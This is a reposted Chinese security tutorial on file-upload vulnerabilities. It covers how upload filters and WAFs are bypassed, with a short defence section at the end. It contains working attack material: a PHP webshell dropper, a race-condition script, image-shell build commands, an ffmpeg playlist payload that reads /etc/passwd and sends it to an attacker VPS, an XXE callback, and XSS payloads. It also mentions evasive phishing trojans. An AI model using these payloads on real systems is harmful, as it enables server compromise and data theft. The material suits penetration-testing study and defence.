0
0

网诺安全文件上传总结

一、文件上传简介

文件上传漏洞是指用户上传了一个可执行的脚本文件（木马、病毒、恶意脚本、webshell等），并通过此脚本文件获得了执行服务器端命令的能力。上传点一般出现在头像、导入数据、上传压缩包等地方，由于程序对用户上传的文件控制不足或处理缺陷，而导致用户可以越过其本身权限向服务器上传可执行的动态脚本文件。

原理及危害

网站WEB应用都有一些文件上传功能，比如文档、图片、头像、视频上传，当上传功能的实现代码没有严格校验上传文件的后缀和文件类型时，就可以上传任意文件甚至是可执行文件后门。
恶意文件传递给解释器去执行，之后就可以在服务器上执行恶意代码，进行数据库执行、服务器文件管理，服务器命令执行等恶意操作。根据网站使用及可解析的程序脚本不同，可以上传的恶意脚本可以是PHP、ASP、JSP、ASPX文件。

成因及利用条件

成员：

  • 开源编辑器的上传漏洞
  • 服务器配置不当
  • 本地文件上传限制被绕过
  • 过滤不严或被绕过
  • 文件解析漏洞导致文件执行
  • 文件路径截

利用条件：

  • 恶意文件可以成功上传
  • 恶意文件上传后的路径
  • 恶意文件可被访问或执行

二、Webshell

Webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境，也可以将其称做为一种网页后门。 黑客在入侵了一个网站后，通常会将asp或php后门文件与 网站服务器WEB目录下正常的网页文件混在一起，然后就 可以使用浏览器来访问asp或者php后门，得到一个命令执 行环境，以达到控制网站服务器的目的。

三、文件上传bypass

1、前端检测

禁用JS 3、3

2、服务端检测

（1）Mime type检测

抓包修改mime类型

常见的MIME类型：

超文本标记语言文本 .html text/html
xml文档 .xml text/xml
普通文本 .txt text/plain
RTF文本 .rtf application/rtf
PDF文档 .pdf application/pdf
Microsoft Word文件 .word application/msword
PNG图像 .png image/png
GIF图形 .gif image/gif
JPEG图形 .jpeg,.jpg image/jpeg
au声音文件 .au audio/basic
MIDI音乐文件 mid,.midi audio/midi,audio/x-midi
RealAudio音乐文件 .ra, .ram audio/x-pn-realaudio
MPEG文件 .mpg,.mpeg video/mpeg
AVI文件 .avi video/x-msvideo
GZIP文件 .gz application/x-gzip
TAR文件 .tar application/x-tar
任意的二进制数据 application/octet-stream

3、文件扩展名

（1）黑名单检测：

大小写绕过（Windows下）

双写绕过

特殊可解析文件名绕过

php、php3、php4、phtml、phps、pht，前提是Apache的配置文件要有如下配置： > AddType application/x-httpd-php .php .phtml .phps .php5 .pht

::$DATA绕过（Windows下）

如果::$DATA“文件名+::$DATA”，系统会把“::$DATA”之后的数据当成文件流处理，不会检测后缀名，且会保持“::$DATA”之前的文件名，所以可以利用Windows的特性，在上传文件的后缀名加“::$DATA”进行绕过。

.htaccess绕过

前提条件：mod_rewrite模块开启、AllowOverride All > .htaccess文件是Apache服务器中的一个配置文件，它负责相关目录下的网页配置.通过htaccess文件，可以实现:网页301重定向、自定义404页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。先上传.htaccess文件，文件内容如下（将所有文件当作php解析）： > SetHandler application/x-httpd-php

（2）白名单检测

00截断绕过

php00****截断的使用条件：

php<5.3.4、magic_quotes_gpc为off状态；

有时数据包中必须含有上传文件后的目录才可使用该方法。

原理（%00与0x00）：

表单中的enctype就是encodetype，指编码类型。

enctype有三个属性：

  1. application/x-www-form-urlencoded：在发送前编码所有字符；
  2. multipart/form-data：不对字符编码，或在使用包含文件上传控件的表单时，必须使用该值。指定传输数据为二进制类型。
  3. text/plain：空格转换为“+”号，但不对特殊字符编码。纯文本的传输， 默认情况下，enctype的值是application/x-www-form-urlencoded，不能用于文件上传，只有使用了multipart/form-data，才能完整的传递文件数据。 而application/x-www-form-urlencoded不是不能上传文件，是只能上传文本格式的文件，multipart/form-data是将文件以二进制的形式上传，这样可以实现多种类型的文件上传。

在URL中%00被URLdecode后为空字符，所以当URL中出现%00是会认为读取已结束。
GET请求中，提交数据时浏览器会自动对数据进行URLdecode，所以GET请求可直接使用%00。
而POST请求中，上传的表单有个enctype的属性，若属性值为”multipart/form-data”，则不会自动对表单进行URLdecode。而path大多数都是存放在表单中的，因此需要在数据包中进行urldecode操作，使%00变成字符串结束符号。就需要使用0x00，将hex值改为00才能进行截断。

** 0X00是字符串的结束标识符，攻击者可以利用手动添加字符串标识符的方式将后面的内容进行截断，而后面的内容又可以帮助我们绕过检测。
比如数据包中存在path为uploads/，那么攻击者可以通过修改path的值来构造payload为：uploads/1.php%00。程序检测的是文件的后缀名，如果后缀合法就会拼接路径和文件名，攻击者修改path后的拼接结果为：upload/1.php%00/2021091823123.jpg（可绕过后缀的检测），移动文件时%00产生截断作用，文件就会保存为upload/1.php**，达到getshell的目的。

** %00，是因为path也可以存放在URL或者cookie中，在提交数据的时候浏览器会对数据做一次urldecode操作，在服务端，会对数据进行一次urldecode操作，因此，如果path在非“enctype=multipart/form-data”的表单中或在URL、cookie**中时，可以直接写%00，不再需要urldecode操作，服务器自己会对%00进行url解码。

3.文件内容检测绕过

（1） 文件幻数（文件头）检测绕过：

通过正则匹配判断文件幻数（文件头）内容是否符合要求，一般为白名单检测，常见的文件头（文件头标志位）如下：

  • .JPEG .JPE .JPG ：“JPGGraphicFile”（FFD8FFFE00）
  • .gif：”GIF89A”（474946383961）
  • .zip：”ZipCompressed”（504B0304）
  • .doc .xls .xlt .ppt .apr：“MSCompoundDocumentv1orLotusApproachAPRfile”（D0CF11E0A1B11AE1）

一般是在木马文件头部插入对应的文件头内容，比如GIF89A等，伪装成图片马。

图片马制作方法：
（1）直接在木马文件的头部添加GIF89A等字母；
（2）直接在图片文件中添加payload（易造成图片损坏）；
（3）使用cmd命令，copy tupian.jpg /b + muma.php /a muma.jpg
（4）使用edjpgcom等工具制作；

（2） getimagesize()检测绕过

getimagesize()函数会读取目标文件的16进制，验证目标文件16进制的头几个字符串是否符合图片的要求，通过此函数判断文件类型。故可以使用图片马进行绕过。
源码：

制作图片马：

再配合文件包含漏洞进行解析执行。

（3） exif_imagetype()检测绕过

exif_imagetype()函数是用来读取文件的第一个字节并检查其签名，即通过文件头判断文件类型。所以与getimagesize()函数检测一样，可使用图片马进行绕过。

（4） 条件竞争绕过

什么是条件竞争？
条件竞争是服务端的漏洞，由于后端程序操作逻辑不合理导致。由于服务端在处理不同用户的请求时是并发进行的，因此，如果兵法处理不当或相关操作逻辑顺序设计的不合理时，会导致此类问题的发生。条件竞争一般发生在多个线程同时访问同一个共享代码、变量、文件等没有进行锁操作或者同步操作的场景中。

检测原理：

  1. 网站允许任意文件上传，再检查文件内容是否包含webshell，如果有就删除该文件；
  2. 网站允许任意文件上传，但如果不是指定的类型，会使用unlink删除文件。

绕过方法：
利用文件上传成功至文件被删除之间的时间差，上传一个可执行脚本文件，再使用多线程并发的方式访问上传的文件，总会有一次在时间差内访问到上传的php文件，一旦成功访问到了上传的文件，就能执行payload，因为php之类的代码只要访问就能执行。

源码：

上传逻辑：

  1. 通过move_uploaded_file($temp_file, $upload_file）移动上传的文件；
  2. 上传完毕后通过in_array($file_ext,$ext_arr)检查文件名后缀是否在白名单中；
  3. 若后缀合法，则对文件进行重命名（rename），上传完成；
  4. 若后缀非法，则删除文件；

绕过：
上传一个写一句话木马的文件test.php > <?php > $file=fopen(“shell.php”,“w”); > $string=‘<?php @eval($_POST[“shell”]); ?>’; > fwrite($file,$string); > fcolse(); > ?>

截取两个数据包，一个为上传test.php的请求包，另一个为访问shell.php的请求包。
将上传文件的请求包进行无参数爆破，让他不停的进行上传请求。

另一个访问shell.php的请求包也进行无参数爆破，不断地进行访问请求。

或者可以通过py脚本代替不停访问的操作。 > import requests > for i in range(1000000): > url=“文件地址” > if requests.get(url).status_code == 200 : > print(‘yes’)

成功写入

4.利用服务器解析漏洞绕过：

(1) Apache解析漏洞

WampServer2.0 All Version (WampServer2.0i / Apache 2.2.11) [Success]
WampServer2.1 All Version (WampServer2.1e-x32 / Apache 2.2.17) [Success]
Wamp5 All Version (Wamp5_1.7.4 / Apache 2.2.6) [Success]
AppServ 2.4 All Version (AppServ - 2.4.9 / Apache 2.0.59) [Success]
AppServ 2.5 All Version (AppServ - 2.5.10 / Apache 2.2.8) [Success]
AppServ 2.6 All Version (AppServ - 2.6.0 / Apache 2.2.8) [Success]

(2) IIS解析漏洞

IIS6.0
IIS6.0 在解析文件时存在以下两个解析漏洞 .
①当建立 *.asa *、.asp 格式的文件夹时 , 其目录下的任意文件豆浆被 IIS 当作 asp 文件 来解析 .
② 在 IIS6.0 下 , 分 号 后面 的 扩 展 名 不 会 被 解 析 , 也 就 是 说 当 文 件 为 *.asp;.jpg
时,IIS6.0 同样会以 ASP脚本来执行 .

(3) Nginx<8.03空字节代码执行漏洞

影响版本 :0.5,0.6,0.7<=0.7.65 0.8<=0.8.37
Nginx 在图片中嵌入 PHP代码 , 然后通过访问 xxx.jpg%00.php 可以执行其中的代码 .
注意
任意文件名/任意文件名.php这个漏洞是因为php-cgi

(4) PHP CGI解析漏洞

在 PHP的配置文件中有一个关键的选项 : cgi.fi: x_pathinfo. 这个选项在某些版本是
默认开启的 , 在开启时访问 url, 比如 :http://www.xxx.com/x.txt/x.php,x.php 是不存在的 文件 , 所以 php 将会向前递归解析 , 于是就造成了解析漏洞 . 由于这种漏洞常见于 IIS7.0 、 IIS7.5 、 Nginx 等 Web服务器 , 所以经常会被误认为是这些 Web服务器的解析漏洞 .

5.bypass-分块传输绕过

**(1) **前言

近期在做渗透测试的过程中，遇到一个文件上传，发现jsp脚本内容或者是jsp后缀名称的上传均会被waf拦截。正好有授权，实践下分块传输bypass waf的方法。

**(2) **分块传输编码概念

引用维基百科描述

分块传输编码（Chunked transfer encoding）是超文本传输协议（HTTP）中的一种数据传输机制，允许HTTP由网页服务器发送给客户端应用（ 通常是网页浏览器）的数据可以分成多个部分。分块传输编码只在HTTP协议1.1版本（HTTP/1.1）中提供。（使用HTTP 1.0协议，服务器会主动放弃chunked编码。）

《HTTP权威指南》

[RFC7230]中查看到有关分块传输的定义规范。

4.1. Chunked Transfer Coding

The chunked transfer coding wraps the payload body in order to

transfer it as a series of chunks, each with its own size indicator,

followed by an OPTIONAL trailer containing header fields. Chunked

enables content streams of unknown size to be transferred as a

sequence of length-delimited buffers, which enables the sender to

retain connection persistence and the recipient to know when it has

received the entire message.

 chunked-body   = *chunk

                  last-chunk

                  trailer-part

                  CRLF

 chunk          = chunk-size [ chunk-ext ] CRLF

                  chunk-data CRLF

 chunk-size     = 1*HEXDIG

 last-chunk     = 1*("0") [ chunk-ext ] CRLF

 chunk-data     = 1*OCTET ; a sequence of chunk-size octets

The chunk-size field is a string of hex digits indicating the size of

the chunk-data in octets. The chunked transfer coding is complete

when a chunk with a chunk-size of zero is received, possibly followed

by a trailer, and finally terminated by an empty line.

A recipient MUST be able to parse and decode the chunked transfer

coding.

4.1.1. Chunk Extensions

The chunked encoding allows each chunk to include zero or more chunk

extensions, immediately following the chunk-size, for the sake of

supplying per-chunk metadata (such as a signature or hash),

mid-message control information, or randomization of message body

size.

 chunk-ext      = *( ";" chunk-ext-name [ "=" chunk-ext-val ] )

 chunk-ext-name = token

 chunk-ext-val  = token / quoted-string

The chunked encoding is specific to each connection and is likely to

be removed or recoded by each recipient (including intermediaries)

before any higher-level application would have a chance to inspect

the extensions. Hence, use of chunk extensions is generally limited

通过阅读规范发现分块传输可以在长度标识处加上分号“;”作为注释,如

9;kkkkk

1234567=1

4;ooo=222

2345

0

(两个换行)

以上均为引用，以下为实践内容

**(3) **攻击与利用

burpsuite插件
https://github.com/c0ny1/chunked-coding-converter

解释下为什么有时候需要添加注释：因为几乎所有可以识别Transfer-Encoding数据包的WAF，都没有处理分块数据包中长度标识处的注释，导致在分块数据包中加入注释的话，WAF就识别不出这个数据包了。
Transfer-Encoding ：在头部加入 Transfer-Encoding: chunked 之后，就代表这个报文采用了分块编码

回过头来看案例，正常情况下，上传一个jsp文件，会被waf拦截，返回为空，如下图所示

使用分块编码，对目标系统进行文件上传，如下图

不过还是被该系统的waf检测到了威胁，返回为空，上传失败。至于为什么，可能是因为该分块bypass方法已经有很长的一段时间了吧，所以很多waf都已经又了应对方法。
通过测试，发现WAF一般是如下应对分块传输的。

发现数据包是分块传输，启动分块传输线程进行接收

分块传输线程不断接收客户端传来的分块，直到接收到0\r\n\r\n

将所有分块合并，并检测合并之后的内容。

不过开发这个burpsuite插件工具的大佬也有了新的应对方法（膜拜）：添加延时，消耗waf性能，让waf放弃等待所有分块发送完成。
借用下大佬的图

使用延时方法再次对目标系统发起上传

查看上传的结果，如下图，已经成功绕过waf，并上传成功

**(4) **提示

只有HTTP/1.1支持分块传输
POST包都支持分块，不局限仅仅于反序列化和上传包
Transfer-Encoding: chunked大小写不敏感

6.HPP漏洞绕过

HPP漏洞

HPP 是 HTTP Parameter Pollution 的缩写，意思即“ HTTP 参数污染 ”。这个漏洞由 S.di Paola 与 L. Caret Toni 在 2009 年的 OWASP 上首次公布。这也是一种注入型的漏洞，攻击者通过在HTTP请求中插入特定的参数来发起攻击。如果Web应用中存在这样的漏洞，可以被攻击者利用来进行客户端或者服务器端的攻击。通过 HPP 参数污染可以实现绕过 waf 来进行攻击。

漏洞原理

浏览器与服务器进行交互时，浏览器提交 GET/POST 请求参数，这些参数会以 “名称-值对” 的形式出现。通常在一个请求中，同样名称的参数只会出现一次，但是在 **HTTP **协议中是允许同样名称的参数出现多次的。

GET /foo?par1=val1&par2=val2 HTTP/1.1

User-Agent: Mozilla/5.0

Host: Host

Accept: */*

如上面的 HTTP 请求，在跟服务器交互的过程中，HTTP 协议允许 GET/POST 请求多次传同一参数值。

但是不同的服务器处理方式会不一样，比如必应搜索引擎，如果输入了两次查询参数

q

，第二次输入的参数值将覆盖第一次输入的参数值：

但是对于谷歌搜索引擎，则会将两次输入的参数值进行拼接而没有覆盖：

从上面可以看到，如果同时提供2个搜索的关键字参数给 Google，那么 Google 会对2个参数都进行查询；但是必应则不一样，它只会处理后面一个参数。服务列表

下面这个表简单列举了一些常见的 Web 服务器对同样名称的参数出现多次的处理方式：

漏洞利用

在HPP中最典型的的例子就是 “双文件上传” 。

1、如下例子，可以看到 filename 参数写了两次，可能绕过一些上传限制：

2、也可以尝试直接多加一个 filename（HPP）：

3、或者直接多个 Content-Disposition：

4、同时可以上传一个正常图片文件+一个木马文件尝试绕过：

------61234564788
Content-Disposition: form-data; name="FileName"; filename=“1.png”

图片内容 
------61234564788
Content-Disposition: form-data; name="FileName1"; filename=“1.php”

木马内容
------61234564788--

7.脏字符绕过

脏字符参数填充的地方，from-data 后面 ，或者，内容脏字符绕，当然内容脏字符绕过还是需要考虑一下语言注释符常见如jsp<!–注释内容–> php /**/ ，当waf检测内容数据包过大时，可能会放行，

8.文件路径修改

木马文件上传成功，但是不解析

看请求包是否存在有指定上传路径利用../回溯，上传到根目录

成功链接木马

9.流量检测绕过

  1. 冰蝎绕过创宇盾
2哥斯拉流量检测绕过

哥斯拉连接的时候修改UA头，不用默认密钥，加POST就没法用流量检测

10.大文件绕过

传输超过20M的文件

四、文件上传的其它利用

1.文件上传构造xss漏洞

（1）上传html文件构造XSS漏洞
<script>alert('xss')</script>

（2）上传svg文件构造XSS漏洞
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/>
（3）上传PDF文件构造XSS漏洞

构造xss或url跳转的pdf文件上传

  • 新建一个空白页

  • 在“页面属性”对话框单击“动作”标签，再从“选择动作”下拉菜单中选择“运行 JavaScript”命令，然后单击【添加】按钮，弹出 JavaScript 编辑器对话框

  • 在弹出的对话框中输入代码：

  • app.alert('XSS');

  • 保存上传到网站上，使用浏览器访问成功执行了xss代码。

2.文件上传进行钓鱼

  • 制作免杀exe cs木马，上传到目标网站，通过社工手段进行文件钓鱼。

3.上传mp4/avi进行文件读取/SSRF

  • 利用方式：目标使用了ffmpeg有漏洞版本，上传mp4/avi进行文件读取/SSRF
  • 以下内容保存成test.avi，上传到被攻击服务器。
  • #EXTM3U
  • #EXT-X-MEDIA-SEQUENCE:0
  • #EXTINF:10.0,
  • concat:http://vps:port/header.m3u8|file:///etc/passwd
  • #EXT-X-ENDLIST
  • 保存成header.m3u8，上传到公网vps
  • #EXTM3U
  • #EXT-X-MEDIA-SEQUENCE:0
  • #EXTINF:,
  • http://vps:port?
  • 访问上传的avi文件，vps接收到访问日志

4.上传shtml文件，执行ssi命令

  • 利用方式：如果目标服务器开启了SSI与CGI支持，可以上传shtml文件，执行ssi命令。
  • 搭建测试环境： 打开apache的配置文件httpd.conf。找到 LoadModule ssl_module modules/mod_ssl.so 命令，去掉注释。

去掉

AddType text/html .shtml
AddOutputFilter INCLUDES .shtml

的注释

Indexes 或FollowSymLinks修改为：

Options +Indexes +FollowSymLinks +ExecCGI +Includes +IncludesNOEXEC

修改vhosts文件 增加Includes

重启apache，上传shtml文件。

成功执行了ssi命令。

5.Excel文件的上传探测xxe漏洞

  • 利用方式：当遇到接受Excel文件进行上传和处理的目标应用程序，则可能存在xxe漏洞。
  • 原理：现代Excel文件实际上只是XML文档的zip文件，称为Office Open XML格式或OOXML。 当应用程序处理上传的xlsx文件时需要解析XML，如果解析器未做安全配置，则可能导致xxe漏洞。 创建一个xlsx文档，更改后缀为zip，使用压缩工具解压缩。

  • 打开Burp Suite Professional，单击Burp菜单并选择“Burp Collaborator client”将其打开,复制到粘贴板。

找到Content_Types.xml文件，插入xxe代码到文件中。 

<!DOCTYPE x [ <!ENTITY xxe SYSTEM "http://gdx7uyvhtysav8fbqbp8xf5utlzcn1.burpcollaborator.net"> ]> <x>&xxe;</x>

重新压缩为zip文件，更改后缀为xlsx。上传xlsx文档到目标服务器，如果没有禁用外部实体，就会存在XXE漏洞，burp接收到请求。

五、防御

检查文件上传路径，设置上传目录执行权限，拒绝脚本执行的可能性（避免%00截断、IIS6.0文件夹解析漏洞、目录遍历）；
文件扩展名检测，避免服务器以非图片的文件格式解析文件，通常使用黑白名单进行检测；
文件MIME验证；
文件内容检测，避免图片中插入webshell；
图片二次渲染（基本上完全避免了文件上传漏洞）；
文件重命名，如随机字符串或时间戳等方式，并且加上此前生成的文件扩展名，防止攻击者得到webshell的路径；
隐藏上传路径；
定义一个.htaccess文件，只允许访问指定扩展名的文件；
以上几点，可以防御绝大多数上传漏洞，但是需要跟服务器容器结合起来。如果解析漏洞依然存在，那么没有绝对的安全。

标签： 网络安全
本文转载自: https://blog.csdn.net/liushaojiax/article/details/135907583
版权归原作者 liushaojiax 所有， 如有侵权，请联系我们删除。
登录后发布评论

“网诺安全文件上传总结”的评论:

还没有评论
关于作者
...
overfit同步小助手
文章同步
相关阅读

雷池WAF自动化实现安全运营实操案例终极篇

以太网交换安全：MAC地址漂移

安全见闻4（泷羽sec）

爬虫-selenium_edge的无界面模式

Git代码管理规范

【微服务】认识微服务及Eureka注册中心

Nginx 实现会话保持的方式配置

文章导航